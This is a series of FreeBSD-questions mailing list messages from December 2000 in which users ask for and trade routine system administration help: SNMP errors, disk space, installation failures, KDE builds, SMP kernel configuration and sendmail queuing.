it just the cards all look the same to me - in lynx! ;-)

Tom




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> Hi
>
> I'm trying to configure MRTG (Multi router traffic grapher) on freebsd 4
> and sun solaris 2.5.1. My IP addresses are in virtual IP pool
> (192.1.1.0) gate way is 192.1.1.3 on windows NT routing and runs windows
> proxy server.
>
> It is possible to run MRTG on Virtual IP pool?
>
>
> When I run MRTG using command    MRTG MRTG.CFG  it gives error code
>
> SNMP Error:
> no response received
> SNMPv1_Session (remote host: "192.1.1.3" [192.1.1.3].161)
>                   community: "public"
>                  request ID: 947072276
>                 PDU bufsize: 8000 bytes
>                     timeout: 2s
>                     retries: 5
>                     backoff: 1)
> SNMPGET Problem for ifInOctets.1 ifOutOctets.1 sysUptime sysName on
> public@192.1.1.3
>
> How can I fix this ?

It looks to me like there is a problem with the snmp on 192.1.1.3 , is the
community name right? Is snmp running?

- Matt



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> [snip]
> ad4:14594MB <ST513320A> [29691/16/63] at ata2-MASTER using DMA66
> ad5:29188MB <ST330630A> [59303/16/64] at ata2-SLAVE using DMA66

Are you sure you disabled the old controller ?
I see "ata2-xxxx" above, I think it should be "ata0" and/or "ata1".

check all the booting messages for similar messages about ata0/1


Just my $0.0001 :-)


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bye!

Ale

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>Hi,
>
>I note in 20000921234343.A37161@absinthe.condo.chico.ca.us that
>a bug has been identified in certain seagate drives in relation to
>tagged queueing and write-thru caching that results in errors like:
>
>Dec 15 02:27:06 plum /kernel: (da0:ahc0:0:0:0): READ(10). CDB: 28 0 0 9a 22 23
> 0
>+0 2 0                                                          
>Dec 15 02:27:06 plum /kernel: (da0:ahc0:0:0:0): NOT READY asc:4,3
>Dec 15 02:27:06 plum /kernel: (da0:ahc0:0:0:0): Logical unit not ready, manual
>+intervention required field replaceable unit: 5            
>Dec 15 02:27:06 plum /kernel: (da0:ahc0:0:0:0): Invalidating pack
>
>I've disabled tagged queueing on the affected drive:

My recollection was that the drive would simply fall off the bus to
never return without a power cycle.  It's interesting that the drive
actually returns sense telling you it's dead.

>but have been unable to disable write-thru cacheing (there's no option
>that I can find to do that in the SCSI bios on my Adaptec aic7895
>Ultra SCSI adapter).

Use "camcontrol modepage -e -m 8 -P 3" on the device and change WCE to 0.

>How do I find out the firmware version on my drives? Nothing that looks like
>a firmware version gets displayed in dmesg:
>
>da0 at ahc0 bus 0 target 0 lun 0
>da0: <SEAGATE ST39140W 1444> Fixed Direct Access SCSI-2 device 
       Vendor  Model    Revision

--
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Hello All,

  Subj. I need to resize my /var and /usr partitions  because I
  miscalculated its future sizes :-(

-- 
Best regards,
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I --am having a few make/make install problems with building in
/usr/ports
dir:
/usr/ports/emulators/osf1 -make---make install --ok
/usr/ports/www//netscape47-communicator---make --ok---make install
--fails:
/usr/ports/www/netscap47-communicator/work....../vreg:
58 syntax error: word unexpected (expecting")") *** Error code2
xemacs21, mozilla also fail either make or make install. Any input would
be helpfull
-Mel



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How much GB? do you mean how many GB does it transfer or how  many GB's
of data are stored on it? 

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FreeBSD: "Hey,when are you guys going to catch up"


On Thu, 21 Dec 2000, Hristo Georgiev wrote:

> Hello, have a questoin:
> How much GB is at the moment ftp.FreeBSD.org?
> 
> Hristo
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Hi:

I found some pretty weird thing that i can't explain or solve so 
I count on your help.

I recently noticed growth in the size of occupied space on /var.
Here is output from "df"

Filesystem  1K-blocks     Used    Avail Capacity  Mounted on
<...>
/dev/da0s1h   1034159   766564   184863    81%    /var
<...>

In other words, out of about 1 GB partition 767 MB are filled.
On the other hand, I calculated total sum of all the files
in /var using two independent methods (ran ls -laR amd calculated
sum of sizes and tar'ed the whole patition and looked at the size 
of the tar file). Both methods show that the sum of the 
sizes of all the files in the partition comes to only 14 MB.

There is this huge difference between 767 MB reported occupied by df
and 14 MB of the sum of all teh files. Looks as if somebody got
in, made an invisible partition within /var.

Am I paranoid or missing something? Or both?

Thanks for your help,
A.H.


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On 20 Dec 2000, Norbert Koch wrote:

> On my FreeBSD 3.3-RELEASE I have in my /etc/rc.conf
> 
> syslogd_enable="YES"
> syslogd_flags="-a '212.9.160.0/19:*'"
> 
> This causes syslogd *not* to be started. Hmm, bad. I gather this is
> due to the flags, because the default/rc.conf settings work fine.
> 
> What would be the correct setup for the flags?

Get rid of the ' characters.

syslogd_flags="-a 212.9.160.0/19:*"

> 
> Thanks,
> norbert.
> 

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for more accurate results, try something like this

du -k /var

that will give you sizes for all files/dirs in/under /var and the total
disk usage for /var
man du   for more info

this will at least tell you WHERE the disk space is being hogged, and
you can start tracing from there

nathan

mysql-freebsd wrote:

> Hi:
>
> I found some pretty weird thing that i can't explain or solve so
> I count on your help.
>
> I recently noticed growth in the size of occupied space on /var.
> Here is output from "df"
>
> Filesystem  1K-blocks     Used    Avail Capacity  Mounted on
> <...>
> /dev/da0s1h   1034159   766564   184863    81%    /var
> <...>
>
> In other words, out of about 1 GB partition 767 MB are filled.
> On the other hand, I calculated total sum of all the files
> in /var using two independent methods (ran ls -laR amd calculated
> sum of sizes and tar'ed the whole patition and looked at the size
> of the tar file). Both methods show that the sum of the
> sizes of all the files in the partition comes to only 14 MB.
>
> There is this huge difference between 767 MB reported occupied by df
> and 14 MB of the sum of all teh files. Looks as if somebody got
> in, made an invisible partition within /var.
>
> Am I paranoid or missing something? Or both?
>
> Thanks for your help,
> A.H.
>
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Hello.
My name is Giulio Astori and I'm trying to setting up my old 75MHz Pentium 
with 24MB of RAM to run the well advertised FreeBSD.
I'm having some problems.
At first I had a problem with an non compatible CD-ROM, I changed with a 
compatible one resolving the matter.
Now, after booting the kernel, slicing (partitioning) the HDD, choosing the 
type of installation, the source of the files and after the OS
writes the file system to the HDD I get to the point when it starts to 
extracting the bin files to the directory. At this point when the extract 
process reaches 21 files out of .... it stops and nothing happen after 
that.
I try to use a different HDD ( a Western D 10GB) and instead of to stop at 
21 files it stops at 51 files..
Could it be that the " / " root partition is to small?
Please help me, I REALLY LIKE TO BE ABLE TO INSTALL IT AND LEARNING HOW TO 
USE IT.
I'm new to UNIX world, I 'm a PC/NETW Tech for Novell and Microsoft 
NT/Win2k infrastructure with no clue about FreeBSD.

Thank you...
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How did you partition/slice your drive? ie: The size of the partitions and
what are the exact partitions?


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Hello.
My name is Giulio Astori and I'm trying to setting up my old 75MHz Pentium 
with 24MB of RAM to run the well advertised FreeBSD.
I'm having some problems.
At first I had a problem with an non compatible CD-ROM, I changed with a 
compatible one resolving the matter.
Now, after booting the kernel, slicing (partitioning) the HDD, choosing the 
type of installation, the source of the files and after the OS
writes the file system to the HDD I get to the point when it starts to 
extracting the bin files to the directory. At this point when the extract 
process reaches 21 files out of .... it stops and nothing happen after 
that.
I try to use a different HDD ( a Western D 10GB) and instead of to stop at 
21 files it stops at 51 files..
Could it be that the " / " root partition is to small?
Please help me, I REALLY LIKE TO BE ABLE TO INSTALL IT AND LEARNING HOW TO 
USE IT.
I'm new to UNIX world, I 'm a PC/NETW Tech for Novell and Microsoft 
NT/Win2k infrastructure with no clue about FreeBSD.

Thank you...
(My e-mail addresses are giulio_astori@yahoo.com or gastori@aerco.com)


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At 08:51 AM 12/21/00 -0600, nathan wrote:
>for more accurate results, try something like this
>
>du -k /var
>
>that will give you sizes for all files/dirs in/under /var and the total
>disk usage for /var
>man du   for more info
>
>this will at least tell you WHERE the disk space is being hogged, and
>you can start tracing from there

Thanks, unfortunately it didn't tell me that. Infor from du
was very much consistent with "ls -laR"


prompt>du -ck
<....>
13891   total

prompt>df
filesystem  1K-blocks     Used    Avail Capacity  Mounted on
<...>
/dev/da0s1h   1034159   766685   184742    81%    /var

Listing produced by du doesn't show where the 700+ MB went to.





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The evidence suggests that "Victor R. Cardona" wrote:

Visit http://www.freebsd.org. There you will find all sorts of
> information including ways of obtaining FreeBSD.
>
> Victor Cardona
>
> On Thu, Dec 21, 2000 at 01:39:02AM -0800, Naim Syauqi wrote:
> > Can you give me A BSD to me ? How can I get it ? I
> > hope you can give me it !
> >
> > Naim ...
> >


One begins to wonder how people get the e-mail address for where to
ask questions without going to the website.  If they did go to the
website and find the questions e-mail address... then how can you
possibly not find the info for downloading and installing FreeBSD.

I just don't understand some people... >=\

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try asking this at the message board at http://bsdvault.net

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Hello All,

  Subj. I need to resize my /var and /usr partitions  because I
  miscalculated its future sizes :-(

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On Thu, Dec 21, 2000 at 03:27:56PM -0000, Jason Halbert wrote:
> 
> One begins to wonder how people get the e-mail address for where to
> ask questions without going to the website.  If they did go to the
> website and find the questions e-mail address... then how can you
> possibly not find the info for downloading and installing FreeBSD.
> 
> I just don't understand some people... >=\

Well, I guess not everyone thinks in a `rational' way, and for some people
the paths that activate certain neurons in their brains are quite
different than one would expect.  Ain't life a mystery?

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my computer comes up with the error "Page Not Found" when I try to access 
your ftp server. here's the url: <A HREF="ftp://ftp.freebsd.org/pub/FreeBSD/">ftp://ftp.FreeBSD.org/pub/FreeBSD/</A>.
it didn't seem to want to work with my AOL. would you please provide 
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<HTML><FONT FACE=arial,helvetica><FONT  COLOR="#0000ff" SIZE=2 FAMILY="SCRIPT" FACE="Comic Sans MS" LANG="0">my computer comes up with the error "Page Not Found" when I try to access <BR>your ftp server. here's the url: <A HREF="ftp://ftp.freebsd.org/pub/FreeBSD/">ftp://ftp.FreeBSD.org/pub/FreeBSD/</A></FONT><FONT  COLOR="#0000ff" SIZE=2 FAMILY="SCRIPT" FACE="Comic Sans MS" LANG="0">.
<BR>it didn't seem to want to work with my AOL. would you please provide <BR>assistance?
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I was just looking at Eazel's Nautilus file manager. Looked interesting,
but requires Helix Gnome. Helix does not include FBSD among its supported
OSs. Still, has anyone tried to use it (and Nautilus)? If so, does it
require any  special modifications, and how well is it working for you?
-J


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On Thu, Dec 21, 2000 at 03:27:56PM -0000, Jason Halbert wrote:
> One begins to wonder how people get the e-mail address for where to
> ask questions without going to the website.  If they did go to the
> website and find the questions e-mail address... then how can you
> possibly not find the info for downloading and installing FreeBSD.
> 
> I just don't understand some people... >=\

Yes, it seems quite strange :-)

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On Thu, Dec 21, 2000 at 09:44:34AM -0500, mysql-freebsd wrote:
> There is this huge difference between 767 MB reported occupied by df
> and 14 MB of the sum of all teh files. Looks as if somebody got
> in, made an invisible partition within /var.

Looks like a daemon which has files still open although they don't
exist in the directory-table anymore. Reboot is one solution :-)

The other option is to find the evil process which has still these
files open, use lsof (/usr/ports/*/lsof) for it: 
				/usr/local/sbin/lsof | grep var

Edwin
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du | sort -n 

will nicely sort them and give you the heavy hitters at the bottom

Stew Benedict

At 08:51 AM 12/21/00 -0600, nathan wrote:
>for more accurate results, try something like this
>
>du -k /var
>
>that will give you sizes for all files/dirs in/under /var and the total
>disk usage for /var




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Hi.  i installed this kde 1.1.2 window manager and noticed multiple sessions in
my ps.  Does anyone know what could be causing this?  I have imwheel & and
startkde in my .xinitrc
After login i just type the ole startx and  kde comes up and i got 4-5  of
them.  This happens everytime.  Any ideas what could be starting the other
sessions?

Thanks matt

bash-2.04$ ps
  PID  TT  STAT      TIME COMMAND
  323  p0- S      0:15.90 gnome-terminal
  327  p0- I      0:00.01 gnome-pty-helper
  333  p0  Is     0:00.08 bash
  328  p1  Is     0:00.01 bash
  329  p1  S+     0:05.14 BitchX (BitchX-1.0c16)
 6181  p2  Ss     0:00.05 -bash (bash)
 6182  p2  T      0:00.79 BitchX (BitchX-1.0c16)
 6586  p2  R+     0:00.00 ps
  834  p3  Is     0:00.01 bash
  263  v0  Is     0:00.02 -bash (bash)
  275  v0  I+     0:00.00 /bin/sh /usr/X11R6/bin/startx
  280  v0  I+     0:00.01 xinit /home/matt/.xinitrc --
  284  v0  I      0:00.00 sh /home/matt/.xinitrc
  286  v0  S      0:53.43 kwm
  291  v0  S      0:56.54 /usr/local/bin/klaser.kss -delay 1 -install -corners
  298  v0  I      0:00.00 kaudioserver
  299  v0  I      0:00.00 /bin/sh /usr/local/bin/startkde
  300  v0  I      0:00.00 /bin/sh /usr/local/bin/startkde
  301  v0  I      0:00.00 /bin/sh /usr/local/bin/startkde
  302  v0  I      0:00.00 /bin/sh /usr/local/bin/startkde
  303  v0  I      0:00.00 /bin/sh /usr/local/bin/startkde
  305  v0  S      0:13.63 maudio -media 131072
  306  v0  I      0:00.25 kwmsound
  307  v0  S      0:00.89 kfm
  308  v0  I      0:00.20 krootwm
  309  v0  S      0:02.07 kpanel
  310  v0  I      0:00.24 kbgndwm
  833  v0  I      0:02.55 kvt -caption Terminal -icon kvt.xpm -miniicon kvt.xpm



Giorgos Keramidas wrote:

> On Wed, Dec 20, 2000 at 06:13:26PM -0800, sefkan wrote:
> >
> > Hello,
> >
> > I need some help setting up a basic firewall (using /etc/rc.firewall
> > and /etc/rc.conf).
> ...
> >         oif="tun0"                      # tun0 ?
> >         onet="63.166.51.125"            # ?
> >         omask="255.255.255.240"         # ? 255.255.255.0 ?
> >         oip="216.111.111.5"                     # what?
>
> I always seem to think that rc.firewall is a nice starting point.  It
> provides with nice ideas about setting up your own set of rules.  But
> eventually, you will have to make your own rules.
>
> What you are describing as a `problem' is easily resolved once you write
> your own rules, to use `in recv tun0' and `out xmit tun0' instead of using
> the IP address.
>
> If you are too reluctant to copy/paste and edit the nice rules of
> rc.firewall into a file of your own (which is what I usually recommend to
> people who want to actually *learn* how ipfw works), you can always find a
> good set of sample files at my home page.  The URL for the ipfw section is:
>
>     <http://students.ceid.upatras.gr/~keramida/ipfw/>
>
> Ciao,
> Giorgos.
>
> PS: Also note that this question has been answered about a zillion times,
> and there are lots of answers in the archives :-)
>
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natutilus doesn't actually require Helix Gnome, check it out its in the
ports tree (/usr/ports/x11-fm/nautilus/) i've tried to use it before because
it looked interesting but after it compiled it just core dumped when i tried
to start it. let me know if you get it working.

has anyone ever tried to get efm working? i started to mess around with it
one night and got distracted by THPS2 :)

-daniel


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| I was just looking at Eazel's Nautilus file manager. Looked interesting,
| but requires Helix Gnome. Helix does not include FBSD among its supported
| OSs. Still, has anyone tried to use it (and Nautilus)? If so, does it
| require any  special modifications, and how well is it working for you?
| -J
|
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> From: Bjarne Wichmann Petersen [mailto:mekanix@vip.cybercity.dk]
> Sent: Thursday, December 21, 2000 1:01 AM
> To: Tim McMillen
> Cc: freebsd-questions@FreeBSD.ORG
> Subject: Re: KDE 2.0.1 refuses to compile.
>
>
> On Thu, 21 Dec 2000 02:52:40 -0500 (EST)
> Tim McMillen <timcm@umich.edu> wrote:
>
> > Hi, I got KDE 2.0.1 to install.  It worked from the port
> without errors.
>
> Strange...

I've had nothing but trouble too!

> > Maybe you had crud lying around that interfered.  Did you
> try running make
> > clean in /usr/ports/x11/kde2  ?
>
> "crud"? The funny thing is, that the first time I tried
> installing 2.0.1 I couldn't use the meta-port... reported
> that 2.0.1 was already installed and "deinstall" didn't work.
> So I installed every part manually no glitches. But I wanted
> a clean install, so I removed every piece of KDE/Qt from my
> system + "make clean" and then tried the meta-port. This was
> when I got the error....

What I've been doing over the past few days is trying to install from
/stand/sysinstall.  As the meta-port attempted to install each dependency
and failed, I would go to that branch in the ports directory and run make
deinstall && make clean && make && make install.  Then I would re-run from
/stand/sysinstall and see where it failed next and repeat the process.  So
far, I haven't had any errors compiling.  But I've just finished doing this
via telnet and haven't had a chance to get to the box (at work) and see if
KDE will run.  I won't have a chance to verify this until after Christmas.

WARNING:  I'm a newbie and don't necessarily know what I'm doing.  So if
there's something here that seems unsafe, it is probably is and I'd
appreciate knowing about it.

Good Luck,

Drew

> I've also played around with XFree4 several time (trying
> getting DRI working). But XFree4 *should* be installed
> cleanly now. Removed every bit there to and installed from
> scratch. But maybe something went wrong?
>
> > How recently did you cvsup your ports?
> > Some of the patches were committed recently.  Also what
> version were you
> > running. I was using 4.2-release at the time.
>
> 4.2-STABLE and cvsup'ed my ports just a few hours before I
> tried installing.
>
> Bjarne
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All this trouble compiling KDE 2.0.1 is wierd. I cvsupped the ports tree
to make sure I was up-to-date, and then just went to /usr/ports/x11/kde2
and typed:

make

when that was done, I typed make install

Everything compiled and worked fine, except kdesu which has some problems,
there is a screensaver problem where when you're changing settings, some
processes don't get killed correctly which leads to you getting locked out
of your desktop, the logout button doesn't work from the panel or from
right-clicking the desktop, the sysguard app isn't ported to FreeBSD's kvm
stuff, the system monitor applet also isn't converted to FreeBSD's kvm
stuff... and certain random seg-faults occur. But even with the size of my
list of bugs and such, most of them have nothing to do with FreeBSD
... they are X and KDE bugs.


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On Thu, 21 Dec 2000, Drew Tomlinson wrote:

> > -----Original Message-----
> > From: Bjarne Wichmann Petersen [mailto:mekanix@vip.cybercity.dk]
> > Sent: Thursday, December 21, 2000 1:01 AM
> > To: Tim McMillen
> > Cc: freebsd-questions@FreeBSD.ORG
> > Subject: Re: KDE 2.0.1 refuses to compile.
> >
> >
> > On Thu, 21 Dec 2000 02:52:40 -0500 (EST)
> > Tim McMillen <timcm@umich.edu> wrote:
> >
> > > Hi, I got KDE 2.0.1 to install.  It worked from the port
> > without errors.
> >
> > Strange...
> 
> I've had nothing but trouble too!
> 
> > > Maybe you had crud lying around that interfered.  Did you
> > try running make
> > > clean in /usr/ports/x11/kde2  ?
> >
> > "crud"? The funny thing is, that the first time I tried
> > installing 2.0.1 I couldn't use the meta-port... reported
> > that 2.0.1 was already installed and "deinstall" didn't work.
> > So I installed every part manually no glitches. But I wanted
> > a clean install, so I removed every piece of KDE/Qt from my
> > system + "make clean" and then tried the meta-port. This was
> > when I got the error....
> 
> What I've been doing over the past few days is trying to install from
> /stand/sysinstall.  As the meta-port attempted to install each dependency
> and failed, I would go to that branch in the ports directory and run make
> deinstall && make clean && make && make install.  Then I would re-run from
> /stand/sysinstall and see where it failed next and repeat the process.  So
> far, I haven't had any errors compiling.  But I've just finished doing this
> via telnet and haven't had a chance to get to the box (at work) and see if
> KDE will run.  I won't have a chance to verify this until after Christmas.
> 
> WARNING:  I'm a newbie and don't necessarily know what I'm doing.  So if
> there's something here that seems unsafe, it is probably is and I'd
> appreciate knowing about it.
> 
> Good Luck,
> 
> Drew
> 
> > I've also played around with XFree4 several time (trying
> > getting DRI working). But XFree4 *should* be installed
> > cleanly now. Removed every bit there to and installed from
> > scratch. But maybe something went wrong?
> >
> > > How recently did you cvsup your ports?
> > > Some of the patches were committed recently.  Also what
> > version were you
> > > running. I was using 4.2-release at the time.
> >
> > 4.2-STABLE and cvsup'ed my ports just a few hours before I
> > tried installing.
> >
> > Bjarne
> > --
> >
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Although all of the suggested installation instructions were followed, i still run into a "Can't transfer bin distribution from ad0s1" error when installing the *minimum* installation. My harddrive is a VIA IDE, and i beleive it was supported as the Partitioning process seemed to work properly. The installation media type is from a Dos partition, 4.2-Release; which i downloaded from ftp.freebsd.org. I *did* use the ckdist.exe tool to verify that the distribution was not corrupted. The entire contents of the 'bin' directory were placed in C:\FreeBSD\bin for the istallation to find them. I have also, though, attempted once or twice to mount my primary Fat32 partition (ad0s1) to "/wnd" and tried installing from this directory as a "UFS Filesystem" (as the installation calls it). 
  Has this type of problem occured in the past with Release 4.2 or is there something that i'm doing wrong here?
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I tried that actually and got a "marked as broken" error.
===>  nautilus-0.1.0_2 is marked as broken: Build failures with new bonobo.

Any suggestions?
-J

Daniel Domengeaux writes:

> natutilus doesn't actually require Helix Gnome, check it out its in the
> ports tree (/usr/ports/x11-fm/nautilus/) i've tried to use it before because
> it looked interesting but after it compiled it just core dumped when i tried
> to start it. let me know if you get it working.
> 
> has anyone ever tried to get efm working? i started to mess around with it
> one night and got distracted by THPS2 :)
> 
> -daniel
> 
> 
> ----- Original Message -----
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> 
> | I was just looking at Eazel's Nautilus file manager. Looked interesting,
> | but requires Helix Gnome. Helix does not include FBSD among its supported
> | OSs. Still, has anyone tried to use it (and Nautilus)? If so, does it
> | require any  special modifications, and how well is it working for you?
> | -J
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I have seen some talk about running DRI (direct rendering) under 
FreeBSD 4.2 stable.  I would like to do this, and am thinking about 
buying a graphics card for this purpose.

First of all, is this idea of running DRI on the stable branch
plausible?  I see the instructions at

http://docs.freebsd.org/cgi/getmsg.cgi?fetch=1125326+0+archive/2000/freebsd-questions/20000903.freebsd-questions

And some follow ups but I am curious how well this setup works.

Second, I have been leaning towards a matrox G400 (I already 
have one at home, and this would be only one setup to get working).
I want decent OpenGL performance, but I am not a mad gamer.  In fact
the quake demo gives me motion-sickness :-)

I think I can still get a G400 instead of a G450.

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1) Hi. How do I tell TAR to use the hard disk and not the tape?
 
2) I deleted WWW in the ports, how do I reinstall just a few of the programs?
Netscape for example.  Thanks.

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Where can I download SMP-GENERIC?  I read
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Mark Saldanha schrieb:
> 
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> Okay...I have a 9 gb drive on a PC running FreeBSD. I have added or  mounted
> a 20gb Drive now and I want to make a copy of the first disk so that I can
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> sure of the exact command that I should use.

Since the hint I gave wasn't enough to point you in the right direction,

- search the mailing list archive (http://www.freebsd.org/mail/) for
"cloning disks"
- be aware you have to tune the cloned drive by hand to get larger
capacity into freebsd
- try dd if=/dev/rad0 of=/dev/rad1 to clone the drive. Read up on the
mailing list what this does, or you _will_ shoot yourself in your own
foot.

If you want to be on the safe side, swap disks first, then install
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* Rieck II, David <rieck@brodart.com> [001221 09:06] wrote:
> Where can I download SMP-GENERIC?  I read
> http://people.freebsd.org/~fsmp/SMP/gestarted.html.  In the document it says
> there is a SMP-GENERIC in /usr/src/sys/i386/conf.  I do not have it.  I read
> the FreeBSD manual and noticed I did not have any source install so I ran
> /stand/sysinstall -> Configure -> Distributions -> src -> sys.  I now have
> the GENERICE but not the SMP-GENERIC.  I am running FreeBSD version 4.2.
> Where can I get the SMP-GENERIC kernel to compile?

There's no SMP-GENERIC anymore, just look in the GENERIC kernel, about
80 lines into it there's a few commented out options to enable SMP.

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On 21-Dec-00 Rieck II, David wrote:
> Where can I download SMP-GENERIC?  I read
> http://people.freebsd.org/~fsmp/SMP/gestarted.html.  In the document it says
> there is a SMP-GENERIC in /usr/src/sys/i386/conf.  I do not have it.  I read
> the FreeBSD manual and noticed I did not have any source install so I ran
> /stand/sysinstall -> Configure -> Distributions -> src -> sys.  I now have
> the GENERICE but not the SMP-GENERIC.  I am running FreeBSD version 4.2.
> Where can I get the SMP-GENERIC kernel to compile?

It's easy to create, just copy GENERIC to SMP-GENERIC, and uncomment the
options 'SMP' and 'APIC_IO'.  There are comments in GENERIC that explain this:

# To make an SMP kernel, the next two are needed
#options        SMP                     # Symmetric MultiProcessor Kernel
#options        APIC_IO                 # Symmetric (APIC) I/O

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You should be able to edit /usr/src/sys/i386/conf/GENERIC ( would cp 
GENERIC SMP or something of that sort first, then edit SMP ) and find:

# To make an SMP kernel, the next two are needed
#options        SMP                     # Symmetric MultiProcessor Kernel
#options        APIC_IO                 # Symmetric (APIC) I/O


Those three lines. Uncomment the last two, and then config SMP and do 
the compile thing.

Rieck II, David wrote:

> Where can I download SMP-GENERIC?  I read 
> http://people.freebsd.org/~fsmp/SMP/gestarted.html..  In the document it 
> says there is a SMP-GENERIC in /usr/src/sys/i386/conf.  I do not have 
> it.  I read the FreeBSD manual and noticed I did not have any source 
> install so I ran /stand/sysinstall -> Configure -> Distributions -> src 
> -> sys.  I now have the GENERICE but not the SMP-GENERIC.  I am running 
> FreeBSD version 4.2.  Where can I get the SMP-GENERIC kernel to compile?
> 
> THX
> David Rieck II, MCSE
> Network Manager
> Brodart Automation
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I am now certain the fault must be my ISPs but I cant seem to convey the
situation to the tier 2 support techs.

Here is what I am seeing.  dhclient reports:
Address already in use
My ISP reports several MAC addresses on my account but none of them seem to
be the only one I have pluged in.  These addresses are still visible even
after I compleyely power down my DSL router (Flowpoint 144)
They were going to try and filter all the other mac addresses at their Cisco
router and since doing that I now get streaming messages about every 1-2
seconds on all screens that says:
dc0: watchdog timeout.
ifconfig reports inet assigned address is 0.0.0.0

anyone can help me direct my ISP better...or might know what would cause
this situation?

excuse the typos...but I am very frustrated...especially now that I discover
my sales rep no longer works for the company and he promised me a static ip
on my contract which my ISP now denies (although they cant seem to locate my
DSL contact in their records).  They say that since there is no contract on
file with them and I have had the service for more than 3 months I am bound
by default to the standard contract listed on their web page...calling for
DHCP...could be worse...they could require PPPoE like covad.net does  :(



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On Mon, Dec 11, 2000 at 10:18:04PM +0000, Babe Babes wrote:
> Who knows how to add or change information before
> login when telnet or rlogin, actually where is this
> configuration file? 
> 
> ____________________________________________________________
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> Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
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If you want to customize the initial (banner) message then change the im
capability in /etc/gettytab:

default:\
        :cb:ce:ck:lc:fd#1000:im=\f%s %r %m (%h) (%t)\r\n\r\n:sp#1200:
                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

See gettytab(5) man page for more information.

	Francesco Casadei
 


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Hi All,

I'm running Sendmail 8.9.3 on FreeBSD. I have a customer who wishes to
retrieve his E-mail via ETRN. I know this is supposed to be simple but this
has been a real pain to get it to work, I've spent a couple of very
frustrated weeks on this.

My customer has a domain: oregansinc.com. I have assigned it a static IP
from our class C.  The web server for this domain resides on a Win NT box on
our lan. MX records for this domain point to jellico.net (my FreeBSD box).

E-mail intended for oregansinc.com was bouncing immediately, with one of two
error messages: User unknown, and relaying denied (in spite of the fact that
the domain is listed in /etc/mail/relay-domains).
I have fixed this problem, Sendmail is now queueing mail intended for
oregansinc.com in the mail queue (I see it when I issue the mailq command).

Unfortunately, people sending mail to this domain are now getting a return
E-mail that states:

-----Original Message-----
From: Mail Delivery Subsystem [mailto:MAILER-DAEMON@i2000.jellico.net]
Sent: Wednesday, December 20, 2000 6:05 PM
To: reganm@forscom.army.mil
Subject: Warning: could not send message for past 4 hours


    **********************************************
    **      THIS IS A WARNING MESSAGE ONLY      **
    **  YOU DO NOT NEED TO RESEND YOUR MESSAGE  **
    **********************************************

The original message was received at Wed, 20 Dec 2000 13:56:49 -0500 (EST)
from fcsmthhqlb4.forscom.army.mil [160.136.40.5]

   ----- The following addresses had transient non-fatal errors -----
<reganm@oregansinc.com>

   ----- Transcript of session follows -----
<reganm@oregansinc.com>... Deferred: Connection refused by oregansinc.com.
Warning: message still undelivered after 4 hours
Will keep trying until message is 5 days old


This is NOT what I want to happen. I want the mail to be queued until my
customer chooses to retrieve it via ETRN, which may be more than 5 days.
Also I don't want everyone who sends E-mail to this domain to recieve this
message. How can I prevent this from happening with E-mail intended for this
domain but still have other messages in my mail queue handled normally (i.e.
bounced after 5 days if they remain undeliverable)??

Thanks,

Lisa Casey, Webmaster
Interstate 2000, Inc.
lisa@jellico.com
webmaster@jellico.com











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Wow! Thanks, it worked!
Never late to learn new stuff :-)
Turns out running Apache for a *while* does leave quite a few BIG 
chunks of disk occupied. After restarting httpd:

prompt>df
Filesystem  1K-blocks     Used    Avail Capacity  Mounted on
<....>
/dev/da0s1h   1034159    14005   937422     1%    /var

and before /var was giving 81% :-)

Thanks!
A.H.

At 04:55 PM 12/21/00 +0100, Edwin Groothuis wrote:
>On Thu, Dec 21, 2000 at 09:44:34AM -0500, mysql-freebsd wrote:
>> There is this huge difference between 767 MB reported occupied by df
>> and 14 MB of the sum of all teh files. Looks as if somebody got
>> in, made an invisible partition within /var.
>
>Looks like a daemon which has files still open although they don't
>exist in the directory-table anymore. Reboot is one solution :-)
>
>The other option is to find the evil process which has still these
>files open, use lsof (/usr/ports/*/lsof) for it: 



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Hi All,

I will be developing a Java servlet application that will run under
FreeBSD, and I would like to use Borland JBuilder to achieve this.
We own a Win32 version of JBuilder, so the programming itself will
occur on a Win32 PC. It would be nice to be able to generate my object
code directly to the FreeBSD machine using a shared disk. Does
FreeBSD support NETBUI, or should I use NFS? What are some of the
pros and cons?

Regards,

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On Thu, 21 Dec 2000, Tim Priebe wrote:

> 
> I have a friend on the KDE core team, and I hear that FreeBSD is not as
> well supported at KDE any more, as their main FreeBSD developer has
> finished high school, and started working, so does not have much time

	Anyone else find that really funny? :)
I actually emailed the people at kde after I had a lot of trouble
installing kde2 beta 4, asking if KDE2 final would compile fine on
FreeBSD.  They replied that "there are quite a few FreeBSD fans among the
KDE developers so it should compile just fine on FreeBSD".  Well when it
came out it blew up with a lot of errors.  A week and a half and 5 or 6
patches later it compiled fine, but only by building it piece by piece.  
	So once again that is my recommendation.  Make qt first with gif
support if you want.  Then try kdelibs then maybe kdebase, then network,
support, etc, whatever hasn't been built by kdebase (I don't remember
which it does off the top of my head).  For some reason builing piece by
piece works where trying the whole thing does not.  
	But I also find it strange that I had no trouble building it once
the last patch for kdemultimedia was commited, while others are still
having trouble.  I dunno.  What I meant by crud, was little files hanging
around that may get used in the build process when they shouldn't.  For 
those still having trouble, try running make clean in the kde2 directory
and trying again piece by piece.  Maybe try package delete on the KDE2
components you still have and use script to save that output.  Then go in
and delete carefully by hand what didn't get deleted.
	Good news is that KDE2.01 did fix a number of the issues KDE2 had.
That's all i've got,

						Tim


> for KDE. He told me that that this young man was interested in having
> some one pay him to work on KDE for FreeBSD. Mabey someone could contact
> him to findout how much he needs to give up his job. I have never
> communicated with him, but his email address is alex@kde.org.

	Uh, I don't consider KDE important enough to pay somebody's full
time salary, but maybe others do.



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It worked! Thanks! I have no idea what a realm in ppp is though. 

On Tue, Dec 19, 2000 at 22:28:48 -0500i, freebsduser wrote:
> I've been using earthlink for about a year without a problem.  I think you
> may have forgotten your "realm" in the authname (see my .conf below).  I
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> months ago.  It took a while with their tech support to figure this out.
> If I connected manually I got a command line, ppp wouldn't kick off.
> 
> Scott

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On Thu, 21 Dec 2000, KillerBunny wrote:

	Hmmm, why not just try installing in a more trditional manner?  It
seems a lot of your difficulty is caused by trying to use a strange
installation method (using a DOS partition).  One of the others will most
likely work better. Try an ftp install by using the boot floppies.  Or
download an ISO and install from CD, or better yet, buy a CD.


> Although all of the suggested installation instructions were followed,
i still run into a "Can't transfer bin distribution from ad0s1" error
when installing the *minimum* installation. My harddrive is a VIA IDE,
and i beleive it was supported as the Partitioning process seemed to work
properly. The installation media type is from a Dos partition,
